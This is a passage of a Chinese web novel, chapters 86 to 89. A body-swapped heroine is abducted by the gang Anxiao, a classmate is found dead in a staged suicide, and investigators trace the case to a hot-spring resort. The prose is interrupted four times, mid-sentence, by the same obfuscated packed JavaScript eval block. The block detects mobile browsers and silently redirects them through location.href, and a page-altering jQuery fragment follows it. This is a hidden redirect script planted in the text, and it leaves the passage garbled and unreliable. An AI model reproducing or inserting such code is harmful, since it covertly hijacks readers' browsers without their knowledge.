周拾秋缓缓睁开眼,金色的波纹已经在眼中流转,神情自若地坐起身,只见身处一间宽敞且明亮的地下室,四周没有窗,房中摆满娱乐设施,什么棋牌球桌、舞池吧台、巨幕投影、游戏设备…… 一个男人正随性地坐在她对面的沙发上,举着酒杯,单手支颐,目光如炬。年纪约莫二十五六,明明还有些稚气未脱,偏要故作深沉,就像是没长大的孩子,模仿着大人的模样,强装霸气。 二十来人四散在各处,房间里烟雾缭绕,熏人的烟味让周拾秋一阵咳嗽。 “咦?”方才那个变异系进化者回头看见周拾秋醒了,一巴掌拍在控制系进化者脑门上,高声骂道,“傻子,你怎么把异能解了?” 控制系进化者有些摸不着头脑,转身就朝周拾秋抬起了手,只是下一秒,他就双目失焦,愣在了原地。 接着,四周的人一个接着一个失去了意识,如同断了线的木偶,再也没有行动能力。 只是短短三秒的功夫,整个房间里,除了坐在沙发上那个男人,房中所有人都没了动静。 只有恼人的烟味盘旋在房子里,舞池里的音乐依旧响着,但跳舞的人双眼无神地站立。只是一瞬间,整个房间仿佛陷入了时间静止的空间,但静止的只有人而已。 啪嚓一声响,酒杯从手里滑落,掉在地上碎裂成渣。 沙发上的男人张大眼睛,半晌没能说出一句话。 周拾秋起身整理好凌乱的衣服和头发,以一种居高临下的状态,俯视着沙发上的男人,用手在面前扇了两下,试图驱散那难闻的烟味,皱着眉问:“你就是他们老大?” “嗯。”男人仿佛做坏事突然撞见班主任的学生,调整好坐姿,温顺地回答。 “抓我来干嘛?”周拾秋一只脚踩在茶几上,胳膊搭上膝盖,作势凶狠地质问。 男人笑道:“呵,不是抓,我明明说的是请,这两傻子理解错了。” 周拾秋眯着眼,逐渐没了耐心,“你们为什么要杀理想者,还伪装成自杀?” “啊?就算你是进化者,也没权力乱扣罪名,我暗魈也有法务部,从不做伤天害理的事。”男人突然摆出一副大义凛然的样子。 暗魈? 周拾秋傻眼了,再次环顾四周,随即在角落里瞥见早上见过的那两人——耳钉男和银发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15095609|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男。 “柴星曜?”周拾秋惊呼。 “是我,怎么着?有没有兴趣加入我暗魈?”柴星曜一本正经地站起身,拉了拉两边衣领。 周拾秋有种想笑却笑不出来的无奈感,咬着牙问:“你抓我到这儿来,不会是为了帮你那两个蠢货手下出气吧?” 柴星曜摇了摇手指,“误会,我请你来,只是听说你是广臾集团的少爷,本想劝你不要再助纣为虐,给瑞波恩送钱,没想到你居然还是进化者。” 这个解释起来有点麻烦,周拾秋索性不解释了,微微叹了口气,低声念道:“64448228。” 在她念出这个代号编码的瞬间,柴星曜的眼睛亮了起来,放弃装腔作势的做派,脸上笑容浮现,上前握住周拾秋的手,道:“原来是自己人,蝠哥,怎么不早说,瞧这事闹得,坐,要喝点什么,我让人……呃……我亲自给你拿。” 周拾秋卸下防备,从茶几上收回脚,皱着一张脸,用手扇着风,“喝的就算了,这个时间喝水,早上起来脸会肿,你还是找个空气好的房间跟我聊会儿吧。” “走。”柴星曜爽快地甩了甩头,带着她就往门外走。 离开地下室,穿过暗门,柴星曜带着周拾秋来到了位于一楼的餐厅。从餐厅进入大堂,再坐电梯上到11楼,柴星曜带她进了一间套房。 从客厅落地窗远眺,周拾秋才终于看清自己身在何处。 楼下有大大小小的露天温泉池,很显然,那两个进化者将她绑到了星槐温泉山庄。 空气不再混沌,周拾秋的大脑也恢复了清醒,随意在客厅沙发坐下。 只见柴星曜从橱柜里拿出一瓶红酒,打开倒上两杯,然后神情自若地回到周拾秋身边,递上一杯酒后,寻了个满意的位置坐下。 “听说你想见我,这回还真是巧了,希望我的人没伤到你。”柴星曜笑着冲她举了举杯。 “哼,就他们,还不至于。”周拾秋不屑地冷笑一声,抿了一口酒,觉得味道还不错。 柴星曜笑声爽朗:“以夜行蝠的能力,自然不会将他们放在眼里。不过蝠哥好像也没把我柴星曜放在眼里啊。” 周拾秋被一口酒呛住,猛地一阵咳嗽。此刻才想起,在遗产继承协议这件事,她还占了暗魈的便宜,一时不好意思地笑了起来。 “那件事啊……呵呵,大概是我理解错误。管理员只说遗产继承协议,我交的也确实是遗产继承协议,当时管理员收货,也没说货不对,实在算不上耍你。” 周拾秋用笑声掩饰着心虚。 柴星曜一边喝着酒,一边眼神锐利地打量着周拾秋。 眼前的进化者异能不容小觑,柴星曜只想拉拢,不想将关系弄僵,于是没有追究这点小事,十分体面地回道:“暗魈内部向来互帮互助,上回的事能帮到你就好,不知你这次决定见我,又是为了何事?” 柴星曜既然打算翻篇,周拾秋自然乐意,赶紧调转话头:“曜哥手下进化者众多,肯定也了解进化者,我想跟你打听点进化者的事。” 见周拾秋不藏着掖着,柴星曜也坦诚相待,“想知道什么,尽管问,只要是我知道的事,都可以告诉你。” 一场为了各自利益的交谈,由此开始。 86. 第086章 清晨的光照在山上,为雪白的山脊镀上了一层金。 山间别墅里的客人逐渐苏醒,何洲正一脸愁容,穿着一件单衣站在别墅门前,看着坐早班机赶到鸾鹤市星槐度假村的周拾秋。 “她回来了吗?”控制着周拾秋身体的庾林冷声询问。 “还、还没……太奇怪了,我平时睡眠很浅,有人走动我一定会醒,但我真不知道乌鸦兄弟什么时候出门的。”何洲有些激动地解释。 被清晨的冷空气冻得有些发抖的齐绮,一边搓着手,一边说:“也不用太急,十秋又不是普通人,先进屋再等等吧。” 在齐绮的劝说下,三人一起进了屋,回到了周拾秋和何洲昨晚下榻的房间。 庾林的手机还躺在床头柜上,但庾林这个人已经从房间消失了至少6个小时。 昨天左等右等没等到周拾秋提交任务完成申请,本以为是周拾秋玩嗨了,庾林便耐着性子等到了半夜。可直到睡觉的时间都过了,周拾秋还是一点消息都没有,庾林终于等不下去,在凌晨1点半时,给周拾秋打了个电话。 然而,铃声响了许久也没人接。 他又给何洲打了电话,同样没人接。 心中隐隐有些不安,周拾秋睡着了没听见铃声可以理解,可他知道何洲不是睡得很死的人。 这一晚,他彻夜难眠,每过半小时就给何洲打一次电话,一直打到凌晨3点,何洲终于接了电话。 一问之下,才知何洲睡着了,再问周拾秋,人不在床上。 何洲在别墅里找了一大圈,哪里都没发现周拾秋的身影。 于是,心中有种不祥预感的庾林,带着齐绮,赶最早的航班来到了度假村。 正当三人坐在房间里商量着要不要向当地警方报失踪时,别墅里传来一声尖叫。 三人惊慌地跑出房间,循声而去,只见一位女同学摔倒在某房间门前,一手捂着嘴,一手颤抖地指向房里,用破碎的语言惊呼着:“出……死……报、快报警!叫救护车!救命啊——” 聚会的同学们陆续赶来,庾林第一个走进了房间,几个胆大点的男生紧随其后。 房间里干净整洁,看不出异样,房中的大床上平躺着一个人,穿着睡衣,没盖被子,双目紧闭,脸色苍白,双手交叠于胸前。 庾林认出那是桑云海,出声唤了句:“云海?” 本觉得闯进女生房间有些唐突,可屋外那女同学的惊呼声还未停止,而看似在睡觉的桑云海没有任何反应,他便又上前一步。 换了个视角,他一眼瞥见桑云海胸口大片的血迹,交叠的双手正握着一把刀,刀刃全部没入胸口,只余刀柄露在外面。 “何洲,报警!所有人出去,不要破坏现场!” 庾林回头低吼一声,凌冽的眼神吓退了身后跟上来的同学。 大约二十分钟后,警察封锁了这间别墅,心神不宁的同学们汇聚在别墅外,有人低声啜泣,有人抽烟平复心情,有人交头接耳,谁也搞不清楚究竟发生了什么事。 又过了两小时,穿着进研所制服的人员在警方护送下,进入了别墅。 这下,围观的人更加慌了,各种猜测引发心底恐惧,可什么消息也打听不到。 不多时,一辆豪车停在了别墅门口,车上走下一个西装笔挺的男人,想要冲进别墅,却被警察拦了下来。 “夏子辰!” 人群里有人唤了一声,将夏子辰喊了过去,这人正是桑云海的未婚夫,接到桑云海出事的消息后,连忙赶到了这里。 “出什么事了?云海人呢?”夏子辰焦急询问。 所有人都是一言难尽的表情,一时有些说不出口。犹豫间,箫芮低声说道:“我看云海好像是自杀……” “怎么可能!婚礼已经在筹备中了,云海怎么可能这种时候自杀?”夏子辰冲箫芮大吼道,仿佛受到了什么侮辱。 “你先别急,警方已经在调查了。”黎浩哲出言劝阻,脸上表情有些凝重。 对于自杀这种说法,他与众人想法多少有些不同,因为他知道别人不知道的事,就比如桑云海之所以同意嫁给夏子辰,并非出自真心。但这种时候,他不好将此事公之于众。 庾林、齐绮、何洲和清悦站在远离人群的地方,观察着人群与别墅里的动静。 “小洲,你先送朋友回学校吧。”庾林低声吩咐。 何洲欲言又止,如今周拾秋不知所踪,桑云海也死了,他并不想一走了之,但在庾林不容置疑的眼神压迫下,他不得不顺从。 隐晦地说了句“找到她告诉我一声”后,何洲便无奈地带着惊魂未定的清悦离开了现场。 “又是那伙人动的手?”齐绮悄声说。 庾林揉了揉眉心,“可能,周拾秋会不会……” “不会!”齐绮眼神坚定。 “不会什么?” 突然一个男人的声音在两人身后响起,吓得两人差点跳起来。 两人不约而同回过头,只见一个撑着遮阳伞的男人,脸上带着慵懒的笑意,朝他们招了招手,“怎么秘书小姐走到哪里,哪里就会出事呢?” 褚成舟散漫的调侃,带着些许试探,视线往人群方向望去。站在他身边的施煦微笑着点头问候:“周小姐,齐小姐,上午好,你们怎么也在这里?” 褚成舟和施煦皆是一身常服打扮,没有穿进研所的制服,想来是不想引起注意。 庾林无视了褚成舟的话,语气平淡地对施煦说:“庾先生在这里参加同学会,我们应邀而来。” “那庾先生呢?”褚成舟一针见血。 齐绮犹豫了,不知道该不该把失踪一事告诉褚成舟,毕竟,这人是进研所的,现在周拾秋控制着庾林的身体,贸然让进研所插手,不知会不会给周拾秋带去麻烦。 “昨晚失踪了。”当齐绮犹豫不决时,庾林已经回话了,“专员先生停职这么闲,不如帮我们找找人。” 齐绮略微惊讶地望着庾林,庾林面不改色,悄悄朝她使了个眼色。 “失踪?这房子里出事的就是他?”褚成舟饶有兴致,并不关心庾林的死活。 “啊不,出事的是庾先生的同学,至于庾先生,昨晚从房里消失了,不知道是不是……”齐绮简单说明,后面不好的猜测没能说出口。 如果真是遭遇了那伙进化者,万一周拾秋没事,怕解释不清, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099797|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她干脆不言明了。 褚成舟摸了摸下巴上还没来得及修整的胡茬,若有所思,嘴里嘀咕着:“一晚对两人下手,行为模式又改变了?如此冒进,不应该啊……” 施煦例行公事一般询问:“没有报警吗?” “还不到失踪判定时限,所以……”庾林目光紧锁在褚成舟身上。 “哼,秘书小姐挺会使唤人。”褚成舟讽刺道。 “万一是你们想抓的人呢?这条线索,里面的专员和警察可暂时还不知道。”庾林神情自若地回道。 庾林从褚成舟的眼中看出,他破案立功的欲望很强,便以此引诱褚成舟帮忙。 最终,他赌对了,褚成舟脸上虽不情愿被使唤,可嘴上还是向他们询问了庾林昨晚下榻的房间,随后带上施煦,闲庭信步往别墅走。 在大门口,褚成舟厚着脸皮向警方出示了证件,警方放行,他大摇大摆带着自己的搭档,进入了别墅。 “进研所的停职消息是真的不共享给警方啊……还能让他钻空子继续骗人……”庾林有些无奈地摇了摇头。 “让他们介入,真的没关系吗?”齐绮有些不安。 庾林摇了摇头,低声道:“褚成舟被停职,申请不了检测仪器,交给他,总比向警方报失踪安全。” 嘴上说着安慰的话,可庾林心中同样有所担忧,倒不是担心褚成舟和施煦会不会觉察周拾秋的异能,而是这么久周拾秋没有消息,也不发送任务完成申请,会不会她现在的处境并不安全呢? 约莫一小时后,褚成舟和施煦被赶出了别墅,显然,停职的身份被里面的人识破了。 褚成舟撑着伞在门口跟施煦交代几句话,将伞留给施煦后,两人便分开行动。施煦用伞挡着脸走到一旁,打了通电话,而褚成舟则漫不经心走向了围在别墅附近的聚会者。 庾林的那些同学七嘴八舌地向褚成舟提供着线索,褚成舟不时点点头,将有用的信息依次记到本子上。全程只有桑云海的未婚夫夏子辰不发一言,神色异常难看。 等到线索搜集完毕,褚成舟正打算走,却被夏子辰叫住。夏子辰将褚成舟拉到了没人的角落,跟褚成舟说了点什么。 秘密谈话结束后,褚成舟冲施煦挥了挥手,跟施煦交头接耳共享信息后,两人才重新走回庾林和齐绮面前。 “查到什么了吗?”齐绮紧张地问。 褚成舟没解释,抬手指了指前方,只说了两个字:“上车。” 四人搭乘的车辆缓缓驶向山下,绕过滑雪场,行驶了大约20分钟,最终停在了星槐温泉山庄的门前。 山庄酒店大堂里,褚成舟向前台出示了证件,语气冰冷地说了句:“我要见柴星曜。” 随后,前台将四人安排进了餐厅的包间。 庾林和齐绮心事重重,一时不知褚成舟为何带他们来到温泉山庄,褚成舟也没有解释的打算,四人就这么各怀心事,坐在包间里安静等待。 不多时,包间房门打开,一个穿着休闲,戴着墨镜,看似玩世不恭的年轻男人走进了房间,脸上洋溢着轻松惬意的笑,随性地开口道:“哟,是什么风,把进研所的人吹到我这鸟不拉屎的地方来了?” 87. 第087章 周拾秋睡得迷迷糊糊,忽然被一阵敲门声惊醒。她睡眼惺忪地翻身下床,因为宿醉,头尚有些疼,摇摇晃晃走到门口,拉开门,一脸不悦地叫道:“大清早吵什么吵!” 来人是昨晚实施绑架的那名控制系进化者,名叫包易。 包易见她有些动怒,赶紧致歉解释:“蝠哥,先别生气,是老大让我来告诉你,赶紧走。” “一大早来撵人?柴星曜也忒小气了,房钱我自己出行了吧?” 周拾秋说着作势关门,还没彻底清醒的她此刻只想再回去睡上一会儿。 包易手脚并用来堵门,然后将周拾秋拉出了房间,跟做贼似地东瞅西瞧,一边选了条看似更安全的路径快步前进,一边忧心忡忡地说:“唉呀,不是,进研所的人杀过来了,你要再不跑就来不及了!” “等等。”周拾秋反手抓住一间房的门把手,用力将人往回拉,才成功刹住车,“进研所的人来干嘛?” 包易愁眉不展,焦急道:“不知道啊,一来就说要见老大,反正你留在这儿肯定不安全,老大一收到消息就吩咐我来带你离开这里。” 周拾秋甩开包易的手,镇定地问:“他们带检测仪器入场了吗?” “没有,来了四人,空着手。”包易如实回道。 “那有什么好怕的?”周拾秋一脸不屑,“该逃的是留在柴星曜身边的你们吧,比如你那位只会变门的兄弟,与其关心我,不如关心一下你们自己。” 包易长叹一口气:“蝠哥,就是知道你厉害,老大才要保你啊!我们又不是在逃进化者,就是撞见进研所的人,也用不着担心。” 周拾秋差点以为自己酒劲未消,听力出现了什么问题。 这句话她反应了许久也没理解究竟是什么意思。 “不是在逃进化者?什么意思?”周拾秋一脸茫然地问道。 包易耸了耸肩,低声说:“这事算是暗魈的机密,蝠哥是自己人,我才说的哦。与暗魈合作的绝大多数进化者都是老大从进研所买来的。” 如果现在有一面镜子摆在周拾秋面前,她一定可以看到自己嘴张得有多夸张。 一大早听到如此劲爆的消息,周拾秋一时难以消化。 她从未想过,与暗魈合作的进化者大多数不是在逃进化者。他们都曾被进研所抓住,经进研所判定,皆属于异能值不高、犯罪指数偏低的低危进化者。 这样的低危进化者可以不进行人格改造,但会被植入毒素芯片,确保处于进研所管控。 某些秘密组织,比如暗魈,会花大价钱向进研所买下了这些未经改造的进化者,用于扩展自身势力。 三方签订了雇佣协议和担保协议,这些低危进化者不能脱离暗魈的掌控,一旦做出威胁到他人生命安全的事时,会直接被进研所处决。 这场交易,三方各取所需,进研所获得巨额资金,暗魈赢得暗中助力,进化者取得虚假的自由。 三赢吗?未必。 或许对于被进研所抓住的进化者来说,这已经是最好的结局,至少还能保有自我意识,但他们余生再不由自己做主。 到此刻,周拾秋才终于知道,为何柴星曜如此想要拉拢她。暗魈手下的进化者能力确实不太强,因为早被进研所筛选过了。像她这样野生的在逃进化者,其实十分稀有。 如果哪一天,她被进研所抓到,是否可以让柴星曜将她买过去呢? 周拾秋忍不住产生这种奇怪的想法。 “所以,柴星曜才担心我留在这里会被进研所发现啊……”周拾秋小声嘀咕。 包易点头道:“对啊,你异能这么强,如果真被发现了,铁定会被判定为高危进化者,改造是板上钉钉的事。” 周拾秋有点想打人,刚才美好的幻想,因包易一句话,瞬间破灭了。她一脸嫌弃地瞪了包易一眼,话锋一转道:“现在他们人在哪儿?” “在餐厅包间会面,要逃就趁现在啦。”包易说。 “逃什么逃,你都说他们没带检测仪器了,有啥好逃的,我又不是你,能让他们觉察到我的存在吗?傻子……那边有啥地方方便偷听吗?”周拾秋一脸不在乎的神情,撺掇着包易带她去现场。 包易说不过她,只能灰溜溜地带着她绕到了餐厅背后。 “就前面那个房间里,你当心点啊蝠哥!我听说里面有个鼻子很灵的进化者,靠太近小心被发现。”包易停在院子里,远远指了指前面窗口,悄声说道。 周拾秋冲他挥了挥手,将其打发走,然后弯着腰蹑手蹑脚摸到了窗下。 房间里传来柴星曜与人交谈的声音,另一个人的声音听上去有些耳熟,周拾秋听了好一会儿,终于意识到,来人是褚成舟。 “真是阴魂不散的家伙。” 周拾秋心里暗骂,但意识到对方身份后,她反而更感兴趣了。 褚成舟调查连环凶案怎么查到这里来了? 不是已经知道调查暗魈的方向错了吗? 带着这样的疑问,周拾秋蹲在窗下,竖起耳朵,小心翼翼地偷听着。 房间里,褚成舟对柴星曜没什么好脸色,懒得跟对方废话,单刀直入地质问:“人是你们暗魈绑的吧?” 柴星曜镇定自若地在房中坐下,透过墨镜观察着房中的四人,听褚成舟这么直白的问话,立马知道他们究竟冲着何人来此。 他轻笑了一声,装傻道:“我暗魈的生意可不包括人口贩卖,褚专员千万别给我扣帽子。” “别装了,有证人证词,昨天早上那人与你手下发生过冲突,晚上人就失踪了,很难不让人联想到你们吧?”褚成舟应对得游刃有余。 柴星曜眉头微微跳动,“我手下人多,时常惹事,但没人敢把烂摊子摆到我眼皮子底下。褚专员这么说,未免太看不起柴某了。” 褚成舟笑道:“怎么敢,柴老大可是进研所的大客户。我要是没有证据,也不可能冒昧登门打扰啊。” 柴星曜面色微沉,心觉不妙,故作镇定问道:“什么证据?” “山间别墅发生了命案,进研所到场检测,意外发现两个登记在册的异能值,你猜怎么着?这两人与暗魈签订的雇佣协议和担保协议还在进研所放着。”褚成舟露出一副胜券在握的表情,慢悠悠地回话。 此刻柴星曜有些笑不出来了,心中暗骂倒霉,沉默片刻,看似轻松地转移话题道:“褚专员是来我这儿查命案的?你应该知道,暗魈的进化者干不了恶事。” 暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15104332|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魈老大年纪虽轻,但见惯了大风大浪,就算证据摆在他面前,他也没表现出丝毫慌张。 褚成舟自然知道,想拿捏眼前这位不是什么易事,而且他今天来这儿,也不是为了与暗魈撕破脸,故而口风陡转,缓和气氛一般笑道:“柴老大可是进研所的大客户,我们怎么可能怀疑命案与暗魈有关呢?我来此不过想找回被你手下带走的人罢了。” 话题又被褚成舟巧妙地带回了夜行蝠身上,柴星曜感觉有些棘手。 他好不容易将夜行蝠拉入自己的阵营,能在进研所监管外获得一名实力强劲的进化者,自然不希望拱手与人。 料想包易应该已经按照他的吩咐,将夜行蝠带离了山庄,柴星曜一脸淡定地说:“我想其中一定有什么误会,我手下昨晚并没有带回什么人。如果你们不信,大可在山庄里搜上一搜,看看有没有你们想抓的人。” 见柴星曜泰然处之的模样,褚成舟心中犹疑。 沉默中,施煦站起身,语调毫无起伏地陈述道:“从异能残留气息推算,昨晚您的手下翻墙进了庾先生下榻的房间,出房间后,从楼梯下楼,穿过一楼客厅,从正门离开别墅,搭乘停放在屋外的交通工具离开现场。” “哦,所以呢?”柴星曜满不在意地问。 施煦平静地说:“所以你的手下很可能绑走了庾先生。” 柴星曜轻笑:“不过是你主观的推测罢了。也可能是你们口中这位庾先生得罪了我手下,他们气不过,夜里找上门,揍了他一顿,然后扬长而去。至于庾先生去了哪儿,好像不是我的人该负责的吧?大家都是成年人,没有被限制人生自由的道理,也许他心情不好,外出借酒浇愁去了呢?” “你这不是强词夺理吗?”齐绮实在忍不住,起身骂道。 一直躲在窗外偷听的周拾秋听见这一声吼,心里咯噔一下,按捺不住好奇心,抓着窗沿缓缓站起身,透过半开的窗户往里看,只见除了柴星曜、褚成舟和施煦外,屋里还坐了两个人。 一个是齐绮,另一个是她自己。 “咦,你们怎么在这儿?”周拾秋冲着屋里喊了一声。 房间里五道视线纷纷汇聚到窗外,全都一脸诧异地盯着她看,似乎谁都看不懂此刻究竟发生了什么。 周拾秋尴尬地咧嘴一笑,朝着房间里众人挥了挥手,“呵呵,你们不会是在找我吧?” 第一个行动的是控制着她身体的庾林,只见他阴沉着脸,几步绕到窗边,抬手揪住周拾秋的脸,低声骂道:“你在这儿干嘛呢?” 他的话说得很隐晦,许多信息不敢透露,但周拾秋明白他话中含义,当然不止是问她为何会出现在窗外。 昨天一整天她都没发送任务完成申请,又一晚上失联,庾林和齐绮能跟着褚成舟追到这里来,一定是以为她出事了。 周拾秋不好意思地喊着疼,见庾林忍气松手后,才信口胡诌:“呵呵,误会,昨晚觉察有人翻窗,料想是暗魈来寻仇,吓得我逃出了别墅。想到星槐度假村最出名的除了滑雪场,就是温泉山庄,干脆来这儿喝酒泡汤,外加睡了一晚。” 她隐去了与柴星曜之间的关联,也避免说辞与柴星曜冲突。 屋里除了柴星曜,全都□□沉默了。 88. 第088章 既然人找到了,也证明与暗魈无关,柴星曜果断起身告辞,并客套地邀请众人留下休息一晚,消费全免,让他一尽地主之谊。 一听免费,周拾秋和齐绮倒是乐意,庾林不置可否,褚成舟和施煦婉拒。 周拾秋绕了一圈进入餐厅时,恰好柴星曜走出了包间。 两人视线交汇,没有说一句话。 柴星曜眼中流露出担忧的神情,那是担心周拾秋的进化者身份会在进研所专员面前暴露。周拾秋眼神坚定,笑着冲他摇了摇头,那是安抚柴星曜,让他不必担心。 两人擦肩而过,柴星曜安心离开了餐厅,而周拾秋淡定地走进了包间。 “没想到我的事,还能惊动专员先生。” 周拾秋一进屋,就带着些许天然的敌意对褚成舟说道。 褚成舟懒洋洋地伸着懒腰,毫不在意地回应:“我还以为进化者终于对庾先生下手了呢,看来两个案子一点联系都没有。不过庾先生真该感谢暗魈那两个蠢货,让你意外逃过一劫。” 周拾秋听出褚成舟话里有话,想起方才在窗外听褚成舟提到山间别墅发生命案,便问:“昨晚别墅出什么事了吗?” “桑云海女士在房中自杀了。”接话的人是施煦,语气平淡地陈述着事实,并照例问询,“昨夜庾先生离开别墅时,是否注意到异样?” “桑云海死了?!”周拾秋一脸震惊,下意识向庾林的方向看去,却并没有在自己那张脸上看到过多情绪。 不知庾林是为了伪装成她,故意隐藏了自己的情绪,还是庾林原本就对这件事没什么触动。 顿了好一会儿,周拾秋才冷静下来,摇着头说:“我离开别墅时,大约凌晨1点,当时我只注意到窗外有响动,所以选择离开了别墅,并没有留意到别的动静。” 她仔细回忆了一遍当晚情形,因为催眠异能,她短暂失去了意识,可也只是一瞬,随后她一直处于清醒状态,被柴星曜的手下抬出了别墅。 期间,她没有发现别墅中存在别的异能气息。 所以,在她被抬走后,那伙犯罪者找上门了吗? 可他们原本的目标就是桑云海吗?还是说,因为庾林不在,才意外害桑云海丧生呢? “施煦和我在别墅里探查了一番,除了到你房间那两人留下的痕迹外,死者房间里也有异能残留,基本与此前的案件一致。”褚成舟慢条斯理地说着自己勘察现场时的发现。 施煦接着补充:“我打电话问了瑞波恩科技,当晚同样有里人格启动的记录,看来和之前的案子手法相同。桑云海女士的协议危代人信息稍后会同步给我,等回凌沪,我们会上门走访,确认当晚发生了什么。” “桑云海的手环开机了?”周拾秋一脸难以置信,“桑云海许久不用手环了,没理由睡觉后又突然开机啊。” 褚成舟仿佛抓到了什么重要的线索,“你确定?” “嗯,我昨天到别墅参加同学会时,桑云海的手环就一直处于于关机状态,这件事,黎浩哲也可以证明。但有件事很奇怪……”周拾秋若有所思。 她回想起昨天早上遇见桑云海时的场景,那时桑云海的手环明明是开机状态,更让她在意的是桑云海身上的异能气息。 于是她将昨天早上英雄救美的事简略地告诉了褚成舟,略去了有关异能的一切。 褚成舟将这些事全部记在了他随身携带的小本子上。 “早些时候死者的同学也提到过,缠上死者的正是暗魈成员,所以那些同学怀疑这起案件是暗魈的报复。”褚成舟慢悠悠地说着,“不过没人提到过手环的事……施煦,你去找柴星曜,让他安排你见骚扰过死者的暗魈成员,拿到他们的证词,特别是确认手环线索。” “好。”施煦顺从地点点头,起身离开了包间。 施煦走后,褚成舟拿出手机,拨了通电话。 在电话里,他向对方询问桑云海手环的电源状态,在得到答复后,才挂断了电话,脸上露出意味深长的笑。 “多亏了你这条线索,刚跟在现场的同事确认过了,死者的手环没有开机。”褚成舟一脸赞许地对周拾秋说道。 “那危机管理局怎么有里人格启动的记录?”齐绮抓住了不合理的点。 褚成舟冷笑:“我一直觉得瑞波恩有鬼,奈何抓不到证据。” 听到褚成舟对进研所产生质疑,周拾秋又想起了此前那些与瑞波恩科技脱不开关系的事。 她试探性问道:“进研所与瑞波恩也有生意往来吗?” 褚成舟有些警觉,“没有,你这话什么意思?” 周拾秋敷衍道:“哦,没事,就随便问问,哈哈哈……听你刚才和暗魈老大的对话,才知道你们进研所还搞这种肮脏交易,就好奇这种交易的范围到底有多广。” “哼,你偷听的挺多嘛。”褚成舟冷冷讥讽。 从褚成舟肯定的答案看来,纪骞宏跟周拾秋一样,是在逃进化者。周拾秋觉得最好避免在褚成舟面前提及此人。 怎么说也是同类,她没理由暴露对方。 “其实之前我听我的危代人说过,她遇到件怪事,有人借常华表弟的身份到花店找她。”周拾秋说着朝齐绮使了使眼色。 齐绮立马意会,接着道:“啊对,后来我通过危机管理局私信了常华表弟,对方表示并没有来过花店。当时我就觉得奇怪,能知道我真实身份的人,除了瑞波恩科技,也就你们进研所了。让我不得不怀疑,到底是你们进研所来秘密问话,还是瑞波恩出卖了我的信息。” 褚成舟将此记录下来,眉头深锁,若有所思,“进研所没理由找你,我怎么觉得是那伙人……” “对,我觉得跟当时扮成齐小姐来酒店找我的是一伙人。”周拾秋附和。 庾林沉声说:“如果真是那伙人,那瑞波恩你就得留意了,专员先生。” 周拾秋乘胜追击:“齐小姐接寻死委托那晚,为何凶手去而复返?这么多起自杀案中,为何凶手会对受害者及其危代人了如指掌?还有齐小姐身份暴露的问题,桩桩件件,都指向瑞波恩。” 褚成舟听得频频点头,一脸赞赏:“很有意思的想法,跟我不谋而合。这次死者的手环似乎让他们的狐狸尾巴露出来了。” 正在说话间,施煦回到了房间,简单说明了从骚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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听到这种说辞,周拾秋也顺理成章将从黎浩哲口中听到的八卦消息告诉了褚成舟。 褚成舟听完道:“石桀这人我们会跟瑞波恩一起调查,在里人格启动记录这件事上,石桀的口供大概会有所不同,说不定可以抓住藏在瑞波恩里的鬼。” 一切看上去似乎很顺利,因为有着共同的目标,原本互看不顺眼的人暂且放下成见,冰释前嫌,信息共享。 周拾秋衷心祝愿:“希望你们能尽快解决此案。” 褚成舟却露出阴险的笑,“如果庾先生同意当诱饵,说不定这案子能破得更快些,愿意让我监视你吗?” “滚!” 有些人的印象怕是一时半会儿很难扭转了,褚成舟这个人,立功升职应该是他的首选项,至于其他人的死活,大概率不重要。 霎时间,周拾秋收回了对褚成舟改观的想法,一直怒瞪着褚成舟,直到他离开温泉山庄为止。 看着褚成舟和施煦开车离开,周拾秋松了一口气,刚准备拉上齐绮去泡泡温泉,一回头就对上两双被怒气冲红了的眼睛。 89. 第089章 一瞬间,周拾秋觉得自己成了罪人,两位审判者正怒气冲冲地凝视着她。她腿一软,险些给两人跪下。 周拾秋心虚地解释:“呵呵,不用这么生气吧?我也不想啊,都怪柴星曜那两个蠢货手下,二话不说用异能催眠,接着就把我绑到了这里。害我以为是那伙人找上门,还准备来个一网打尽……” 齐绮两步上前,抬手就是一记爆栗,嘴上骂道:“还一网打尽呐,你就不怕对方人多势众?他们可都是进化者,是罪犯!” “这不没事嘛,我也不比他们差好吧。”周拾秋揉着额头,笑嘻嘻地说道。 “你跟他们比什么啊……”齐绮气恼,又要抬手。 